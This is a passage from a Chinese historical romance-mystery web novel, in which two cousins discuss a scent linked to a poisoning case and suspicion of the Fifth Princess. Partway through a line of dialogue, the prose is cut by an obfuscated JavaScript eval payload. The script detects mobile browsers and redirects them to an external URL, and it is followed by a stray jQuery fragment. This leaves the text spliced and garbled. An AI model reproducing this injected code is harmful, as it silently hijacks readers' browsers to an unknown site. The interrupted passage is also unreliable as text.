烛火摇曳。
倩影窈窕。
感受到他话里不同寻常的意味,解相思微微侧头:“什么事?”不知怎的,她总感觉不是什么好事。
果不其然,她的直觉告诉她,她是正确的,确实不是什么好事。
“陛下限我在花神宴那日查出幕后主使,我这段时间不会回府了。”
说罢,周砚之忍不住又收紧了揽在她腰上的手,声音听着有些歉疚,“你可以在府里和青书她们玩,我会将季风留给你,若是你想上街,他会在暗处跟着你保证你的安全。”
闻言,解相思皱了皱眉,语气里带着几分连她自己都尚未察觉的紧张:“你这头都伤成这样了,陛下怎么还让你去办案啊?还有,若是季风跟了我,你怎么办,谁来保护你的安全?”
在心底算了算日子,她又无端生出一股愤怒。
现在距离花神宴只不到半个月了,且不说想要在花神宴前找出幕后主使有多难,就说周砚之这段时间能不能费脑都是个问题。
这昭文帝是没有体验过官吏的辛苦吗?怎么尽逮着周砚之薅?!
忍不住在他手背上用力掐了一下,将禁锢着她的两条手臂掰开,解相思转过身,抬眸恨铁不成钢地道:“周策安,你是傻子吗?”
这么任劳任怨,一点都不注意自己的身体。
最后一句话她没有说出来,因为面前的人实在是笑得太温柔了。
盯着她在这喋喋不休,眼底像是化开了一汪春水,平静的湖面上只映着她一人的影子,惹得她再也说不出任何责问他的话。
抿了抿唇,她一拳捶在周砚之胸膛上,当然,是收着力的。
闷闷的一声响,解相思闷闷道:“那……你要注意身体,还有,季风还是跟着你,我不用他保护。”
蓦然,一只温热的大掌覆上了那只攥紧的拳头,将它微微包在掌心,带着股绵绵的感觉。
始作俑者周砚之冲她轻轻笑了笑,微挑眉梢,语气里带着几分懒懒散散的痞意,道:“这么担心我啊?”
解相思:“……”
“是啊,担心死了,生怕你有个好歹,怕没人和我一起去相国寺。”解相思没好气地抽了两下拳头,没抽动。
“噗嗤——”
周砚之忍不住轻笑出声。
本以为她会再骂他一句“登徒子”,倒是没想到,她会这么直白,还真是萧颜的性子。
够直白,够阴阳怪气,够有个性。
笑了一会儿,他微微勾唇,一字一顿道:“放心,不会让你自己一个人去相国寺的。”
“嗬——”
解相思笑笑不语。
半晌,她出声道:“那你把季风弄回去。”
闻言,周砚之还是摇头。
看着他这副模样,解相思心底骤然升起一股无名火,怎么就说不通了呢?!可接下周砚之的一句话却让她又顿时哑了火。
“宋白钰回京了。”
对上解相思一瞬间睁大的眸子,周砚之解释道:“此人城府颇深,此番陷害我不成,我怕他再对你下手,让季风跟着你,我办案会更加放心。。”
愣了一下,解相思也听出了周砚之的言外之意,想到宋白钰那张笑里藏刀的脸,她讷讷的点了点头:“好。”
宋白钰此人行事乖张,没有章法,又知道她和周砚之之间的关系,难保不会捉了她要挟周砚之。
想到这点,她的心猛地一沉,一瞬间,只感觉一阵寒凉顺着脚跟直接窜到头顶。
沉默半晌,解相思抬眸补充道:“那你自己一定要万分小心。”
“嗯。”周砚之含笑点头,“你放心。”
解相思在心里撇撇嘴。
这人办案的时候就没有一句话是可信的,能让人放什么心?
……
纤云卷动,慢条斯理的将最后一丝月色也遮去。
远方的星子业倒还是在闪烁,只不过,越来越远……越来越远……
事情交代完毕了,周砚之也没了深夜还留在朝夕阁的理由,可不知为何,他却莫名不想走,想再和解相思待上一会。
解相思也是同样的想法,不知为何,她总是想着多看他一眼。
哪怕两人的这一想法于理不合,已经将他从前所学的礼教摁在名为“情”的泥里踩踏。
一时间,屋内静谧非常,温情非常。
忽然,一阵微风吹过,书页翻动的声音打破两人之间的氛围。
像是如梦初醒,理智回归,两人匆匆向两旁别过眼,面上默契的染着点点绯红。
闻声望去,周砚之自然也是看到了那本正被风不断翻动的书,转过头,他欲盖弥彰的咳了两声。
他问道:“你在看书?”
解相思随之望去,点了点头:“嗯。”
“什么书?”
“有关香料的书。”解相思一边答着,一边走到案桌旁将上面的书拿到手里,递给身后的周砚之,“挺有意思的,表哥要看看吗?”
周砚之接过书翻了两页,看着里面密密麻麻一大堆香料的名词,只觉得本就隐隐作痛的脑袋更疼了,将书还了回去。
“不了不了,我对这些不感兴趣,看着头疼,还是表妹留着自己看吧。”
闻言,解相思有些忍俊不禁。
没想到周砚之也会有不喜欢看的书,他还以为,他什么都涉猎一点呢。
不过……
解相思眼里的笑意渐渐消退。
他这次可是不得不涉猎了,她给他这本书,可不是真想让他翻看着打发时间的。
于是,避开周砚之递过来的书,在他怔然的目光中,解相思温声解释道:“我对这些也不感兴趣,看这本书,也是因为我无意之间发现了一些值得深思的事情。”
“哦?什么事?”
周砚之又将书翻开看了两眼,发现上面全是密密麻麻的笔记,他不由得有些稀奇。
“是和案子有关吗?”
“没错。”解相思点点头,眼神逐渐变得认真:“我被萧影绑走去到儋州刺史府那日,我在张煦身上闻到了一股淡淡的香气。我本以为是他熏了香,可今日……”
她顿了顿,抬眸对上周砚之也跟着漫上严肃的眼神,语气不自觉的沉了下来:“我却在五公主身上,和齐公子用来辨毒的那碗水里闻到了相同的香气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16357845|179637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我觉得,这也太巧了。”
“表哥,你觉得呢?”
周砚之拧眉:“确实太巧了。”
任何事情巧合到一定程度,便无端有些荒谬,甚至是诡异了。
“我现在不明白的是,为什么五公主身上也有那股香?”解相思走近,慢慢道:“毕竟据我所知,除了年前她被陛下发配到相国寺,在那到了一阵子,她一直在京城待着。”
顿了顿,她抬起眼帘,眼底快速闪过一道微不可查的暗芒:“若是如此,相思倒是有几个想法,不知表哥可愿听一听?”
周砚之正色:“你说便是。”
屋外的虫鸣声莫名嘈杂起来,解相思伸了伸手,将那半开的雕花窗子掩上。随着窗棂发出“吱呀”一声响,屋外的那此起彼伏的虫鸣声顿时消下去不少。
解相思正想说什么,忽然,远处传来几声轻声的呼唤——
“姑娘,可是在唤人?”
闻声,两人猛地转头对视。
是青书!
烛上的火苗被掀起的风吹了几摇,晃得那两道映在花窗上的影子也跟着晃了几晃。
下一刻,随着一声夜鸟的啼叫,那映在花窗上的两道影子彻底融入黑夜。
“笃——笃——”
房门被人轻轻叩响,许是不确定里面的人到底醒没醒,这声音很轻,但足以将里面心里有鬼的两人吓得不敢不出声。
半晌,门外传来青书还带着困意的声音:“真是睡糊涂了,都出现幻听了。”
解相思,周砚之:“……”不敢说话。
“啪嗒啪嗒……”
门外的脚步声渐渐远去。
好半晌,直到真的听不到一点声音了,解相思这才松了口气,抚了抚心口,安抚好里边那颗剧烈跳动的心脏。
两人离得很近,在黑夜中,彼此的呼吸声更是清晰的不行。从急促,到平稳,清晰可闻。
静了好半晌,在周砚之忍不住要出声询问时,一旁安抚心脏的解相思才开了口。
“表哥。”
“嗯?”
“我们继续。”
“……好。”
怕又将青书引过来,解相思这会说得十分小声,刻意压着的声音沙沙哑哑,带着股小心翼翼。
“第一个想法便是,五公主也中了毒,但是这个想法不太成立,因为我没有在自己身上闻到相同的气味。”
周砚之点点头,配合着也将声音压得很低,“那第二个呢?”
“第二个就是,五公主定然也和张煦一样,曾生活在含有大量‘望月散’的地方,长期和‘望月散’待在一起,这样她身上就难免会沾到些味道。”说罢,解相思顿了顿,几乎是气声道:“比如,五公主曾待过几个月的相国寺,和如今的……”
“皇宫。”周砚之出声道。
“没错。”解相思点点头,学着齐明画,下意识地拍了拍周砚之的肩膀,一脸认真道:“所以,我觉得表哥你不仅可以从京城中的青楼楚馆入手,也可以从五公主入手。”
憋着笑,周砚之跟着她点头:“好,谢谢表妹提点。”
“表哥客气了,不谢不谢。”